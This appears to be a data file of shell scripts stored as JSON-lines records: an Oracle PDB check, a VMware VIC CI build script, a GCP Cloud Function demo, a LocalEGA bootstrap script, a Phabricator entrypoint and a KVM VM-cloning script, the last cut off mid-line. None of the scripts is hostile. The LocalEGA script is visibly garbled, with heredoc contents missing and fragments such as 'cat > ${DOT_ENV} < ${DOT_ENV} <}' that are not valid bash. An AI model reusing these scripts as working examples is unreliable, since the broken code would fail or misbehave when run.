exit;\nEOF`\n\n# Store return code from SQL*Plus\nret=$?\n\n# SQL Plus execution was successful and PDB is open\nif [ $ret -eq 0 ] && [ \"$status\" = \"$POSITIVE_RETURN\" ]; then\n exit 0;\n# PDB is not open\nelif [ \"$status\" != \"$POSITIVE_RETURN\" ]; then\n exit 1;\n# SQL Plus execution failed\nelse\n exit 2;\nfi;"} {"text": "#!/bin/bash\n# Copyright 2017 VMware, Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -e\n\n# set variables\ncd installer\nINSTALLER_DIR=$(pwd)\nOPTIONS=\"\"\n\necho -e \"BRANCH = $DRONE_BRANCH\\nEVENT = $DRONE_BUILD_EVENT\\nTAG = $DRONE_TAG\\n\"\n\n# set options based on drone args, if present\nif [ -n \"${ADMIRAL}\" ]; then\n OPTIONS=\"--admiral $ADMIRAL\"\nfi\nif [ -n \"${HARBOR}\" ]; then\n OPTIONS=\"$OPTIONS --harbor $HARBOR\"\nfi\nif [ -n \"${VICENGINE}\" ]; then\n OPTIONS=\"$OPTIONS --vicengine $VICENGINE\"\nfi\nif [ -n \"${VICUI}\" ]; then\n OPTIONS=\"$OPTIONS --vicui $VICUI\"\nfi\nif [ -n \"${VIC_MACHINE_SERVER}\" ]; then\n OPTIONS=\"$OPTIONS --vicmachineserver $VIC_MACHINE_SERVER\"\nfi\n\n# set release options if drone args not present\nif [[ ( \"$DRONE_BUILD_EVENT\" == \"tag\" && \"$DRONE_TAG\" != *\"dev\"* ) || \"$DRONE_BRANCH\" == *\"releases/\"* ]]; then\n if [ -z \"${ADMIRAL}\" ]; then\n if [[ \"$DRONE_BUILD_EVENT\" == \"tag\" && \"$DRONE_TAG\" != *\"dev\"* ]]; then\n admiral_release=$(curl -s https://hub.docker.com/v2/repositories/vmware/admiral/tags/\\?page\\=1\\&page_size\\=250 | jq '.results[] | .name'| cut -d \"\\\"\" -f2 | grep '^vic_v' | head -n 1 | cut -d'_' -f2)\n OPTIONS=\"$OPTIONS --admiral $admiral_release\"\n fi\n fi\n if [ -z \"${HARBOR}\" ]; then\n harbor_release=$(gsutil ls -l \"gs://harbor-releases\" | grep -v TOTAL | grep offline-installer | sort -k2 -r | (trap '' PIPE; head -n1) | xargs | cut -d ' ' -f 3 | sed 's/gs:\\/\\//https:\\/\\/storage.googleapis.com\\//')\n OPTIONS=\"$OPTIONS --harbor $harbor_release\"\n fi\n if [ -z \"${VICENGINE}\" ]; then\n if [[ \"$DRONE_BUILD_EVENT\" != \"tag\" || \"$DRONE_TAG\" == *\"dev\"* ]]; then\n bucket=\"gs://vic-engine-builds/$DRONE_BRANCH\"\n else\n bucket=\"gs://vic-engine-releases\"\n fi\n vicengine_release=$(gsutil ls -l \"$bucket\" | grep -v TOTAL | grep vic_ | sort -k2 -r | (trap '' PIPE; head -1) | xargs | cut -d ' ' -f 3 | sed 's/gs:\\/\\//https:\\/\\/storage.googleapis.com\\//')\n OPTIONS=\"$OPTIONS --vicengine ${vicengine_release:?Unable to find an appropriate VIC Engine build. Is '\"'$DRONE_BRANCH'\"' a valid vmware/vic branch?}\"\n fi\n if [ -z \"${VICUI}\" ]; then\n if [[ \"$DRONE_BUILD_EVENT\" != \"tag\" || \"$DRONE_TAG\" == *\"dev\"* ]]; then\n bucket=\"gs://vic-ui-builds/$DRONE_BRANCH\"\n else\n bucket=\"gs://vic-ui-releases\"\n fi\n vicui_release=$(gsutil ls -l \"$bucket\" | grep -v TOTAL | grep vic_ | sort -k2 -r | (trap '' PIPE; head -1) | xargs | cut -d \" \" -f 3 | sed 's/gs:\\/\\//https:\\/\\/storage.googleapis.com\\//')\n OPTIONS=\"$OPTIONS --vicui ${vicui_release:?Unable to find an appropriate VIC UI build. Is '\"'$DRONE_BRANCH'\"' a valid vmware/vic-ui branch?}\"\n fi\n if [ -z \"${VIC_MACHINE_SERVER}\" ]; then\n # Listing container tags requires permissions\n if [ -z \"$(gcloud auth list --filter=status:ACTIVE --format='value(account)')\" ]; then\n if [ -z \"${GS_TOKEN_KEY}\" ]; then\n echo \"No google service account key found...\"\n exit 1\n fi\n echo \"Attempting to login with google account service key\"\n KEY_FILE=\".tmp.token\"\n echo \"${GS_TOKEN_KEY}\" > ${KEY_FILE}\n gcloud auth activate-service-account --key-file ${KEY_FILE} || (echo \"Login with service account key failed...\" && exit 1)\n rm -f ${KEY_FILE}\n fi\n\n if [[ \"$DRONE_BUILD_EVENT\" != \"tag\" || \"$DRONE_TAG\" == *\"dev\"* ]]; then\n version=\"v${DRONE_BRANCH#releases/}-.*\"\n else\n version=\"v([0-9]+\\.){2}[0-9]+(-rc[0-9]+)?\"\n fi\n\n vicmachineserver_release=\"$(gcloud container images list-tags gcr.io/eminent-nation-87317/vic-machine-server --filter='tags~.' | grep -v DIGEST | awk '{print $2}' | sed -rn 's/^(.*,)?('\"${version}\"')(,.*)?$/\\2/p' | head -n 1)\"\n OPTIONS=\"$OPTIONS --vicmachineserver ${vicmachineserver_release:?Unable to find an appropriate vic-machine-server image. Is '\"'$DRONE_BRANCH'\"' a valid vmware/vic branch?}\"\n fi\nfi\n\necho \"OPTIONS = $OPTIONS\"\n\n# invoke build script\n$INSTALLER_DIR/build/build.sh ova-ci $OPTIONS"} {"text": "jmong/gcp-demo\n#!/bin/bash\n##--\n# Runs simple cloud function creation, testing, and deletion.\n##--\n\nset -o pipefail\n\n# Allow exiting the script within functions\ntrap \"exit 1\" TERM\nexport TOP_PID=$$\n\n# \"Import\"\nsource ../librun.sh\n\n###############\n## CONSTANTS ##\n###############\n\nLABEL=\"httpgcs\"\nNOW=$(date '+%Y%m%d-%H%M%S')\nGCLOUD=\"gcloud\"\nGSUTIL=\"gsutil\"\nRES_DIR=\"res/hellohttp\"\nLOG_FILE=\"log/run-${LABEL}-${NOW}.log\"\nREGION=\"us-central1\"\nZONE=\"${REGION}-a\"\nBUCKET=\"hellohttpgcs-${NOW}\"\nFUNCTION=\"HelloHttp\"\nRUNTIME=\"go111\"\n\n###############\n## VARIABLES ##\n###############\n\nIS_VERBOSE=0\nPROJECT_ID=\"\"\n\n###############\n## FUNCTIONS ##\n###############\n\nusage() {\n echo \"Usage: $(basename $0) [-v] [-h] [gcp_project_id]\"\n echo -e \"\\t-v\"\n echo -e \"\\t\\tEnable verbose mode\"\n echo -e \"\\t-h\"\n echo -e \"\\t\\tThis usage\"\n exit 0\n}\n\n##########\n## MAIN ##\n##########\n\n# Dump everything into a log file.\nexec > >(tee -i $LOG_FILE)\nexec 2>&1\n\nwhile getopts \":vh\" opt; do\n case ${opt} in\n v )\n IS_VERBOSE=1\n ;;\n h ) usage\n ;;\n \\? ) usage\n ;;\n esac\ndone\nshift $((OPTIND -1))\n\n# Checks\n\nPROJECT_ID=$1\ncheck_nonempty_fatal \"$PROJECT_ID\" \"project_id\"\n\nverbose_msg \"${IS_VERBOSE}\" \"PROJECT_ID = ${PROJECT_ID}\"\nverbose_msg \"${IS_VERBOSE}\" \"Log file = ${LOG_FILE}\"\n\ncheck_exists_fatal \"$GCLOUD\"\n\n# Setting project id\nrun_cmd_fatal \"$GCLOUD config set project $PROJECT_ID\" \\\n \"Setting project id\"\n\n# Confirming project id set\nrun_cmd_fatal \"test `$GCLOUD config get-value project` == $PROJECT_ID\" \\\n \"Confirming setting project id\"\n\n# @TODO\n# We clean up project id only after it was successfully set\n#trap cleanup_set_project_id 0 1 2 3 6\n\n# Creating GCS bucket\nrun_cmd_fatal \"$GSUTIL mb gs://${BUCKET}\" \\\n \"Creating GCS bucket\"\n\n# Creating the function using the GCS bucket name for the source code and triggering it in the Pub/Sub topic named hello_world\nrun_cmd_fatal \"$GCLOUD beta functions deploy $FUNCTION --region=$REGION --source=$RES_DIR --stage-bucket $BUCKET --trigger-http --runtime $RUNTIME\" \\\n \"Creating the function using the GCS bucket name for the source code and triggering it with a HTTP request \"\ninfo_msg 1 \"This command creates Cloud Function calling the function $FUNCTION from the source file mycftest.go located in the directory specified by --source. The event will be triggered with a HTTP request.\"\ninfo_msg 1 \"Cloud Functions are only available in the regions listed here ... https://cloud.google.com/functions/docs/locations\"\n\n# Verifying the status of the function\nrun_cmd \"$GCLOUD beta functions describe $FUNCTION\" \\\n \"Verifying the status of the function\"\n\n# @FIXME - run_cmd* unable to handle escaped quotes\n# Creating a message test of the function\nrun_cmd \"$GCLOUD beta functions call $FUNCTION --data '{\\\"message\\\":\\\"Hello World!\\\"}'\" \\\n \"Creating a message test of the function\"\n\n# Checking the logs to see your messages in the log history\nrun_cmd \"$GCLOUD beta functions logs read $FUNCTION\" \\\n \"Checking the logs to see your messages in the log history\"\n\n# Viewing it online\ncontinue \"Pausing before deleting the cloud function and GCS bucket.\"\n\n# Deleting the cloud function\nrun_cmd_fatal \"$GCLOUD beta functions delete $FUNCTION\" \\\n \"Deleting the cloud function\"\n\n# Deleting the GCS bucket\nrun_cmd_fatal \"$GSUTIL rm -r gs://${BUCKET}\" \\\n \"Deleting the GCS bucket\"\n\nexit 0"} {"text": "#!/usr/bin/env bash\nset -e\n\n[ ${BASH_VERSINFO[0]} -lt 4 ] && echo 'Bash 4 (or higher) is required' 1>&2 && exit 1\n\nHERE=$(dirname ${BASH_SOURCE[0]})\nPRIVATE=${HERE}/../private\nDOT_ENV=${HERE}/../.env\nEXTRAS=${HERE}/../../extras\n\n# Defaults\nVERBOSE=no\nFORCE=yes\nOPENSSL=openssl\nINBOX=openssh\nKEYSERVER=lega\nREAL_CEGA=no\n\nGEN_KEY=${EXTRAS}/generate_pgp_key.py\nPYTHONEXEC=python\n\nfunction usage {\n echo \"Usage: $0 [options]\"\n echo -e \"\\nOptions are:\"\n echo -e \"\\t--openssl \\tPath to the Openssl executable [Default: ${OPENSSL}]\"\n echo -e \"\\t--inbox \\tSelect inbox \\\"openssh\\\" or \\\"mina\\\" [Default: ${INBOX}]\"\n echo -e \"\\t--keyserver \\tSelect keyserver \\\"lega\\\" or \\\"ega\\\" [Default: ${KEYSERVER}]\"\n echo -e \"\\t--genkey \\tPath to PGP key generator [Default: ${GEN_KEY}]\"\n echo -e \"\\t--pythonexec \\tPython execute command [Default: ${PYTHONEXEC}]\"\n echo -e \"\\t--with-real-cega \\tUse the real Central EGA Message broker and Authentication Service\"\n echo \"\"\n echo -e \"\\t--verbose, -v \\tShow verbose output\"\n echo -e \"\\t--polite, -p \\tDo not force the re-creation of the subfolders. Ask instead\"\n echo -e \"\\t--help, -h \\tOutputs this message and exits\"\n echo -e \"\\t-- ... \\tAny other options appearing after the -- will be ignored\"\n echo \"\"\n}\n\n\n# While there are arguments or '--' is reached\nwhile [[ $# -gt 0 ]]; do\n case \"$1\" in\n --help|-h) usage; exit 0;;\n --verbose|-v) VERBOSE=yes;;\n --polite|-p) FORCE=no;;\n --openssl) OPENSSL=$2; shift;;\n --inbox) INBOX=$2; shift;;\n --keyserver) KEYSERVER=$2; shift;;\n --genkey) GEN_KEY=$2; shift;;\n --pythonexec) PYTHONEXEC=$2; shift;;\n --with-real-cega) REAL_CEGA=yes;;\n --) shift; break;;\n *) echo \"$0: error - unrecognized option $1\" 1>&2; usage; exit 1;; esac\n shift\ndone\n\n#########################################################################\n\n\n[[ $VERBOSE == 'no' ]] && echo -en \"Bootstrapping \"\n\nsource ${HERE}/defs.sh\n\n[[ -x $(readlink ${OPENSSL}) ]] && echo \"${OPENSSL} is not executable. Adjust the setting with --openssl\" && exit 3\n\nrm_politely ${PRIVATE}\nmkdir -p ${PRIVATE}\nexec 2>${PRIVATE}/.err\n\n#########################################################################\n\nif [[ ${REAL_CEGA} != 'yes' ]]; then\n # Reset the variables here\n CEGA_CONNECTION=$'amqp://legatest:legatest@cega-mq:5672/lega'\n CEGA_USERS_ENDPOINT=$'http://cega-users/lega/v1/legas/users'\n CEGA_USERS_CREDS=$'legatest:legatest'\nfi\n\n# Make sure the variables are set\n[[ -z \"${CEGA_USERS_ENDPOINT}\" ]] && echo 'Environment CEGA_USERS_ENDPOINT is empty' 1>&2 && exit 1\n[[ -z \"${CEGA_USERS_CREDS}\" ]] && echo 'Environment CEGA_USERS_CREDS is empty' 1>&2 && exit 1\n[[ -z \"${CEGA_CONNECTION}\" ]] && echo 'Environment CEGA_CONNECTION is empty' 1>&2 && exit 1\n\n#########################################################################\n\nbackup ${DOT_ENV}\n\nif [[ {REAL_CEGA} == 'yes' ]]; then\n cat > ${DOT_ENV} < ${DOT_ENV} <}\" --pub ${PRIVATE}/pgp/ega.pub --priv ${PRIVATE}/pgp/ega.sec --armor\nchmod 644 ${PRIVATE}/pgp/ega.pub\n\n${PYTHONEXEC} ${GEN_KEY} \"${PGP_NAME}\" \"${PGP_EMAIL}\" \"${PGP_COMMENT}\" --passphrase \"${PG}\" --pub ${PRIVATE}/pgp/ega2.pub --priv ${PRIVATE}/pgp/ega2.sec --armor\nchmod 644 ${PRIVATE}/pgp/ega2.pub\n\necho -n ${PGP_PASSPHRASE} > ${PRIVATE}/pgp/ega.sec.pass\necho -n ${PGP_PASSPHRASE} > ${PRIVATE}/pgp/ega2.sec.pass\necho -n ${LEGA_PASSWORD} > ${PRIVATE}/pgp/ega.shared.pass\n\n#########################################################################\n\nechomsg \"\\t* the SSL certificates\"\n${OPENSSL} req -x509 -newkey rsa:2048 -keyout ${PRIVATE}/certs/ssl.key -nodes -out ${PRIVATE}/certs/ssl.cert -sha256 -days 1000 -subj ${SSL_SUBJ}\n\n#########################################################################\n\nechomsg \"\\t* keys.ini\"\n${OPENSSL} enc -aes-256-cbc -salt -out ${PRIVATE}/keys.ini.enc -md md5 -k ${KEYS_PASSWORD} <}\nexpire: 30/MAR/18 08:00:00\nEOF\n\n\nechomsg \"\\t* conf.ini\"\ncat > ${PRIVATE}/conf.ini <> ${PRIVATE}/conf.ini <> ${PRIVATE}/conf.ini <> ${PRIVATE}/conf.ini <}\ndatabase = lega\ntry = 30\nsslmode = require\nEOF\n\n#########################################################################\n# Specifying the LocalEGA components in the docke-compose file\n#########################################################################\ncat > ${PRIVATE}/lega.yml <> ${PRIVATE}/lega.yml <> ${PRIVATE}/lega.yml <> ${PRIVATE}/lega.yml <> ${PRIVATE}/lega.yml <> ${PRIVATE}/lega.yml <> ${PRIVATE}/lega.yml < ${PRIVATE}/cega.yml <\n cat > ${PRIVATE}/cega-mq-defs.json <\",\"hashing_algorithm\":\"rabbit_password_hashing_sha256\",\"tags\":\"administrator\"}],\n \"vhosts\":[{\"name\":\"lega\"}],\n \"permissions\":[{\"user\":\"legatest\", \"vhost\":\"lega\", \"configure\":\".*\", \"write\":\".*\", \"read\":\".*\"}],\n \"parameters\":[],\n \"global_parameters\":[{\"name\":\"cluster_name\", \"value\":\"rabbit@localhost\"}],\n \"policies\":[],\n \"queues\":[{\"name\":\"v1.files\", \"vhost\":\"lega\", \"durable\":true, \"auto_delete\":false, \"arguments\":{}},\n\t {\"name\":\"v1.files.inbox\", \"vhost\":\"lega\", \"durable\":true, \"auto_delete\":false, \"arguments\":{}},\n {\"name\":\"v1.stableIDs\", \"vhost\":\"lega\", \"durable\":true, \"auto_delete\":false, \"arguments\":{}},\n\t {\"name\":\"v1.files.completed\", \"vhost\":\"lega\", \"durable\":true, \"auto_delete\":false, \"arguments\":{}},\n\t {\"name\":\"v1.files.processing\", \"vhost\":\"lega\", \"durable\":true, \"auto_delete\":false, \"arguments\":{}},\n\t {\"name\":\"v1.files.error\", \"vhost\":\"lega\", \"durable\":true, \"auto_delete\":false, \"arguments\":{}}],\n \"exchanges\":[{\"name\":\"localega.v1\", \"vhost\":\"lega\", \"type\":\"topic\", \"durable\":true, \"auto_delete\":false, \"internal\":false, \"arguments\":{}}],\n \"bindings\":[{\"source\":\"localega.v1\",\"vhost\":\"lega\",\"destination_type\":\"queue\",\"arguments\":{},\"destination\":\"v1.stableIDs\" ,\"routing_key\":\"stableIDs\"},\n\t {\"source\":\"localega.v1\",\"vhost\":\"lega\",\"destination_type\":\"queue\",\"arguments\":{},\"destination\":\"v1.files\" ,\"routing_key\":\"files\"},\n\t {\"source\":\"localega.v1\",\"vhost\":\"lega\",\"destination_type\":\"queue\",\"arguments\":{},\"destination\":\"v1.files.inbox\" ,\"routing_key\":\"files.inbox\"},\n\t {\"source\":\"localega.v1\",\"vhost\":\"lega\",\"destination_type\":\"queue\",\"arguments\":{},\"destination\":\"v1.files.error\" ,\"routing_key\":\"files.error\"},\n\t {\"source\":\"localega.v1\",\"vhost\":\"lega\",\"destination_type\":\"queue\",\"arguments\":{},\"destination\":\"v1.files.processing\",\"routing_key\":\"files.processing\"},\n\t {\"source\":\"localega.v1\",\"vhost\":\"lega\",\"destination_type\":\"queue\",\"arguments\":{},\"destination\":\"v1.files.completed\" ,\"routing_key\":\"files.completed\"}]\n}\nEOF\n\n cat > ${PRIVATE}/cega-mq-rabbitmq.config <> ${PRIVATE}/.trace < /dev/null 2>&1\n [ $? -gt 0 ] && DO_DATABASE=1\n [ ! -z \"$(./bin/storage status | grep -i 'not applied')\" ] && DO_DATABASE=1\n [ $DO_DATABASE -gt 0 ] && ./bin/storage upgrade --force\n}\n\ncase \"$ARG\" in\n \"dev_start\")\n set +e\n check_database\n ./bin/config set auth.require-approval false\n ./bin/config set bugzilla.require_mfa false\n ./bin/config set phabricator.show-prototypes true\n start\n ;;\n \"start\")\n start\n ;;\n \"docs\")\n # Build diviner docs\n ./bin/diviner generate\n ;;\n \"data\")\n # Allows the container to be used as a data-volume only container\n /bin/true && exit\n ;;\n \"php-fpm-only\")\n start php-fpm\n ;;\n \"shell\"|\"admin\")\n /bin/sh\n ;;\n \"dump\")\n ./bin/storage dump\n exit\n ;;\n \"check_database\")\n check_database\n exit\n ;;\n *)\n exec $ARG\n ;;\nesac"} {"text": "leelavg/forgegluster-setup/gdeploy-configs/000-create-vm.sh0\n#!/bin/bash\n\n# Author: <>\n\n# ===== STANDALONE SCRIPT ===== NO NEED TO CLONE WHOLE REPO =====\n\n# Current Status: STABLE\n# Total Steps [cloning VMs]: create_scripts, compatibility_check, perform_op\n# Total Steps [Attaching disks]: attach_disks\n\n# Sample usage:\n# bash clone-vm.sh --base-vm=centos7-34 --prefix=7-34 --vms=3\n# For help run: bash clone-vm.sh -h\n\n# BEGIN - Existing base image\n# END - Create VMs from base image and attach disks (optional)\n\n# Required RPMs on KVM :\n# yum install virt-install libvirt libvirt-client libguestfs libguestfs-tools bc expect\n\n# Scope:\n# - Clone a base VM (either ISO or PXE booted), attach disks\n# - Thin base image results in faster cloning and prepping the clones\n# - Minimum expectation from the script is:\n# - A matching base VM name as supplied in the arguments with no disks attached\n# - Shutdown the base VM after installing/tuning required (like copying SSH\n# keys, running startup.sh code block) settings\n# - Run the script with necessary arguments as stated in `Usage:`\n#\n# Cases covered in addition to cloning VM and attaching disks:\n# - Force re-label SELinux labels\n# - Support for cloning CentOS 8 base VM on CentOS 7 KVM (similar for RHEL)\n# - Custom scripts on replacing correct UUIDs of disks and network interfaces\n# - No deletion of VMs is happening and KVM by defaults prohibits overwrites of domain\n# - Extra functionality: Attach disks to a guest VM\n#\n# Known limitations:\n# - Only core functionality (clone VM, attach disks) is implemented\n# - Experimental: take note of VMs IP, currently dumps ip address from arp cache\n# - Checking for available space isn't implemented\n# - No error recovery is inbuilt (just backoff if something goes wrong)\n\n# Examples:\n# 1. Single VM: `./clone-vm.sh --base-vm=rhel84 --prefix=84c --vms=1`\n# 2. Single VM with same prefix: `./clone-vm.sh --base-vm=rhel84 --prefix=84c --vms=1 --start-index=2`\n# 3. Two VMs with 2 disks attached to each VM: `./clone-vm.sh --base-vm=rhel84 --prefix=84s --vms=2 --disks=2`\n# 4. Two VMs with 2 disks of 25G attached to each VM with same prefix and different start index: `./clone-vm.sh --base-vm=rhel84 --prefix=84s --vms=2 --disks=2 --start-index=3 --size=25G`\n# 5. Attach 2 disks to an existing VM: `./clone-vm.sh --attach-disks=yes --prefix=84c --vms=1 --disks=2`\n# 6. Attach 2 disks of 25G attached to each VM with same prefix and different start index: `./clone-vm.sh --attach-disks=yes --prefix=84c --vms=1 --disks=2 --start-index=2 --size=25G`\n# Option --start-index is used to refer to starting VM (along with PREFIX) and value of --vms is added to this index to arrive at total number of VMs\n\n# Notes:\n# 1. Destroy and undefine VMs\n# POOL_PATH=$(virsh pool-dumpxml default | grep -Po '(?<=path>).*?(?=<)')\n# for i in `virsh list --all | awk '{print $2}' | grep -P '^(7|8)'`; do virsh destroy $i; virsh undefine $i; rm -f $POOL_PATH/$i*; done;\n# 2. IPs of VMs:\n# for vm in `virsh list --all | awk '{print $2}' | grep -P '^(7|8)'`; do expect -c \"spawn virsh console $vm --force; expect \\\"Escape\\\"; send \\\"\\r\\\"; expect \\\"login:\\\"; send \\\"^]\\r\\\"; exit 0\" | grep -Po 'dhcp.*?\\s' | awk -v vm=$vm '{print $1, vm}'; done\n#\n\n\n# Break on any failure\nset -e\n\nBASE_VM=NULL\nATTACH_DISKS=\"no\"\nBASE_IP=NULL\nPREFIX=NULL\nSTART_INDEX=1\nVMS=1\nDISKS=0\nSIZE=\"10G\"\nTEMP_DIR=$(mktemp -d)\nBASE_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\n\n# Pool path, (if not using default pool, it should be changed in below regex accordingly)\nPOOL_PATH=$(virsh pool-dumpxml default | grep -Po '(?<=path>).*?(?=<)')\n\n# Char to index mapping\ndeclare -A CHAR_MAP\nvalue=1\n\nfor i in {a..z}\ndo\n CHAR_MAP[\"$i\"]=$value\n value=$((value + 1))\ndone\n\n# Dump everything to a log file\nTIME=$(date +%b_%d_%y-%H-%M-%S)\nexec 3<&1\ncoproc mytee { tee $BASE_DIR/clone-vm-$TIME.log >&3; }\nexec >&${mytee[1]} 2>&1\n\n# On any error delete TEMP_DIR\ntrap \"rm -rf $TEMP_DIR; cd $BASE_DIR\" EXIT\n\nfunction help() {\n echo\n echo \"Usage: ${0} [--option=argument] or ${0} [-o argument]\"\n echo \" -h | --help help display help\"\n echo \" -a | --attach-disks Attach disks to a running VM, this is a separate functionality (Default: no)\"\n echo \" -b | --base-vm Name of base VM as displayed in 'virsh list'\"\n echo \" -i | --base-ip IPv4 address of base VM\"\n echo \" -p | --prefix Prefix of new VMs (1, 2, 3 ... will be appended to this prefix)\"\n echo \" -x | --start-index Starting index to be appended to PREFIX (Default: 1)\"\n echo \" -n | --vms Number of new VMs that should be created or if --attach-disks is \"\n echo \" provided VM name is constructed using --prefix and this option (Default: 1)\"\n echo \" -d | --disks Number of disks to be attached to each VM (Default: 0)\"\n echo \" -s | --size Size of each disk, should contain Unit as well (Default: 10G)\"\n echo\n echo \"NOTE:\"\n echo \" Arguments for long options should be preceeded with '=' not space. Ex: --size=25G\"\n echo \" Mandatory options for cloning & prepping VM: --base-vm, --prefix\"\n echo \" Mandatory options for attaching disks to VM: --attach-disks, --prefix, --disks\"\n echo \" Options --base-vm and --attach-disks are mutually exclusive\"\n echo\n exit 1\n}\n\nfunction create_scripts() {\n\n # Script to be run on base vm before cloning (manual)\n cat << 'EOF' > startup.sh\n#!/bin/bash\n\n# Enable console access for every VM\nsystemctl enable serial-getty@ttyS0.service\nsystemctl start serial-getty@ttyS0.service\n\n# Make interface comeup automatically\niface=$(basename $(ls /sys/class/net/$(ip addr | awk -F': ' '/state UP/ {print $2}' | grep ^e) -d))\nsed -i 's/ONBOOT=no/ONBOOT=yes/' /etc/sysconfig/network-scripts/ifcfg-$iface\n\n# virt-sysprep is still leaving some UUIDs\n# Replace UUID of boot partition with actual disk name\ndisk=$(df /boot --output=source | tail -n 1)\ncp -f /etc/fstab /etc/fstab.uuid\nsed -r \"/boot/ s|^UUID=[[:xdigit:]-]+|$disk|\" /etc/fstab.uuid > /etc/fstab\nEOF\n\n # Script to be run when VMs are booting for the first time (automatic)\n cat << 'EOF' > change_uuid.sh\n#!/bin/bash\n\n# Set a new UUID for network interface\niface=$(basename $(ls /sys/class/net/$(ip addr | awk -F': ' '/state UP/ {print $2}' | grep ^e) -d))\nuuid=$(uuidgen $iface)\nsed -ir \"s/^UUID=.*/UUID=$uuid/\" /etc/sysconfig/network-scripts/ifcfg-$iface\n\n# Replace boot parition disk with UUID in fstab\ndisk=$(grep boot /etc/fstab | awk '{print $1}')\nuuid=$(blkid $disk -o export | grep ^UUID)\ncp -f /etc/fstab /etc/fstab.disk\nsed -r \"/boot/ s|$disk|$uuid|\" /etc/fstab.disk > /etc/fstab\nEOF\n\n chmod +x startup.sh change_uuid.sh\n\n}\n\nfunction compatibility_check() {\n\n # centos8 base on centos7 KVM conflicts with XFS file system forward compatibility\n host_ver=$(awk -F':' '{print $5}' /etc/system-release-cpe)\n guest_ver=$(virt-cat -d $BASE_VM /etc/system-release-cpe | awk -F':' '{print $5}')\n\n if (( $( echo \"$host_ver < $guest_ver\" | bc -l ) )); then\n cd $POOL_PATH\n if [ ! -d appliance ]; then\n curl -OL https://download.libguestfs.org/binaries/appliance/appliance-1.40.1.tar.xz\n tar xvfJ appliance-1.40.1.tar.xz\n fi\n LIBGUESTFS_PATH=$(pwd)/appliance/\n export LIBGUESTFS_PATH\n cd $TEMP_DIR\n fi\n\n}\n\nfunction perform_op() {\n\n # Options that needs to be enabled, preserve SSH related info\n ops=$(virt-sysprep --list-operations | grep -Pv 'ssh-userdir|ssh-hostkeys' | awk '{ printf \"%s,\", $1}' | sed 's/,$//')\n\n\n VMS=$((VMS+START_INDEX-1))\n vm_names=()\n for i in $(seq $START_INDEX $VMS)\n do\n name=\"${PREFIX}${i}\"\n\n vm_names+=(\"$name\")\n\n # Clone\n virt-clone --original \"$BASE_VM\" --name $name --auto-clone\n\n # Prep the clone\n # if `--selinux-relabel` is removed then `firshboot` script will not be trigerred\n virt-sysprep -d $name --selinux-relabel --enable $ops --firstboot ./change_uuid.sh\n\n # Start VM and attach disks\n virsh start $name\n\n # Create and attach disks\n if [[ $DISKS -ge 1 ]]\n then\n attach_disks_to_vm \"$name\"\n fi\n done\n\n}\n\nfunction create_vms() {\n\n echo \"BEGIN\"\n\n cd $TEMP_DIR\n\n # Creation of scripts to be run on base and new VMs\n create_scripts\n\n # Checks before proceeding with cloning\n compatibility_check\n\n # Clone and Sysprep VM\n perform_op\n\n cd $BASE_DIR\n\n echo \"END\"\n}\n\nfunction attach_disks_to_vm () {\n\n vm=\"$1\"\n\n last_disk=$(virsh domblklist $vm | tail -2 | awk '{print $1}' | tr -d '\\n')\n if echo $last_disk | grep ^s\n then\n dtype='sd'\n else\n dtype='vd'\n fi\n\n last_char=${last_disk:2}\n count=0\n for key in ${!CHAR_MAP[*]}\n do\n if [[ ${CHAR_MAP[$key]} -le ${CHAR_MAP[$last_char]} ]];\n then\n count=$((count+1))\n continue\n fi\n\n if [[ ${CHAR_MAP[$key]} -gt $((count+DISKS)) ]]\n then\n break\n fi\n\n qemu-img create -o preallocation=metadata -f qcow2 $POOL_PATH/\"$vm-${CHAR_MAP[$key]}\" $SIZE\n sleep .2\n virsh attach-disk $vm --source $POOL_PATH/\"$vm-${CHAR_MAP[$key]}\" --target \"${dtype}${key}\" --driver qemu --subdriver qcow2 --persistent\n done\n\n}\n\nfunction attach_disks() {\n\n echo \"BEGIN\"\n\n VMS=$((VMS+START_INDEX-1))\n for i in $(seq $START_INDEX $VMS)\n do\n name=\"${PREFIX}${i}\"\n if ! virsh list --all | grep \"$name\"\n then\n echo Domain name \"$name\" is not found in 'virsh list --all'\n fi\n\n attach_disks_to_vm \"$name\"\n\n done\n\n echo \"END\"\n\n}\n\nfunction parse_args() {\n\n die() {\n # Complain to STDERR and show help\n echo \"$*\" >&2;\n help;\n }\n\n needs_arg() {\n # Handle no argument case for long option\n if [[ -z \"$OPTARG\" ]]\n then\n die \"No argument give for --${OPT} option\"\n fi\n }\n\n while getopts :hb:i:p:n:d:s:g:-: OPT;\n do\n if [[ \"$OPT\" = \"-\" ]] # long option supplied\n then\n OPT=\"${OPTARG%%=*}\"\n OPTARG=\"${OPTARG#$OPT}\"\n OPTARG=\"${OPTARG#=}\"\n fi\n case \"$OPT\" in\n h | help ) help;;\n a | attach-disks ) needs_arg; ATTACH_DISKS=$OPTARG;;\n b | base-vm ) needs_arg; BASE_VM=$OPTARG;;\n i | base-ip ) needs_arg; BASE_IP=$OPTARG;;\n p | prefix ) needs_arg; PREFIX=$OPTARG;;\n x | start-index ) needs_arg; START_INDEX=$OPTARG;;\n n | vms ) needs_arg; VMS=$OPTARG;;\n d | disks ) needs_arg; DISKS=$OPTARG;;\n s | size ) needs_arg; SIZE=$OPTARG;;\n : ) echo No arugment supplied for ${OPTARG} option; help;;\n ??* ) die Bad long option --$OPT; help;;\n ? ) die Bad short option -$OPTARG; help;;\n esac\n done\n\n\n if [[ \"$BASE_VM\" != \"NULL\" && \"$ATTACH_DISKS\" == \"yes\" ]]\n then\n echo \"Options: --base-vm and --attach-disks shouldn't be provided at the same time\"\n help\n fi\n\n if [[ \"$BASE_VM\" != \"NULL\" ]]\n then\n for value in \"$BASE_VM\" \"$PREFIX\"\n do\n if [[ \"$value\" == \"NULL\" ]]\n then\n echo \"Mandatory options: --base-vm, --prefix\"\n help\n fi\n done\n fi\n\n if [[ \"$ATTACH_DISKS\" == \"yes\" ]]\n then\n if [[ \"$PREFIX\" == \"NULL\" || \"$DISKS\" == 0 ]]\n then\n echo \"Prefix should be supplied for attaching disks to VM starting with that prefix, along with number of 